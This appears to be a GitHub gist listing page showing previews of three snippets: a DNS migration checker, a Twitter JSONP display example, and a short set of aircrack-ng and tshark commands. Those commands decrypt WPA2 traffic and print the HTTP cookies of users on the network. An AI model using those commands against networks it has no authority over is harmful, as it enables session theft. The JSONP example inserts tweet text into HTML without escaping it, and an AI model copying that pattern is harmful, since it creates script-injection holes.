Skip to content

Instantly share code, notes, and snippets.

@eldondev
eldondev / gist:5980868
Created July 12, 2013 01:58
How to decrypt wpa2 packets and use tshark to display cookies. You need to replace wlan1 with whichever wireless adapter you want to use, the bssid, the channel, and the wpa password.
airmon-ng start wlan1
airodump-ng mon0 --bssid 00:16:B6:DA:XX:XX --channel 6
tshark -i mon0 -o wlan.enable_decryption:TRUE -o wlan.wep_key1:wpa-pwd:<the_wpa_password> -R "http.cookie" -T fields -e http.cookie
@eldondev
eldondev / check-dns.py
Last active December 19, 2015 05:09
A little script that uses dnspython to verify a dns migration. The first server must allow dns axfr.
import sys, difflib, pprint
import dns.resolver
my_resolver = dns.resolver.Resolver()
# 8.8.8.8 is Google's openDNS server
my_resolver.nameservers = [sys.argv[2]]
import dns.query
import dns.zone
differ = difflib.Differ()
for domain in sys.argv[3:]:
@eldondev
eldondev / index.html
Created October 22, 2010 05:07
A super-simple example of using the jsonp callback functionality of twitter search to slap tweets in a div.
<html>
<head>
<script type="text/javascript">
function showTweets(tweets) {
var newhtml = "";
for(var a = 0; a < tweets.results.length; a++) {
tweet = tweets.results[a];
newhtml += "<img src='" + tweet.profile_image_url +"'>" + tweet.text + "<br>";
}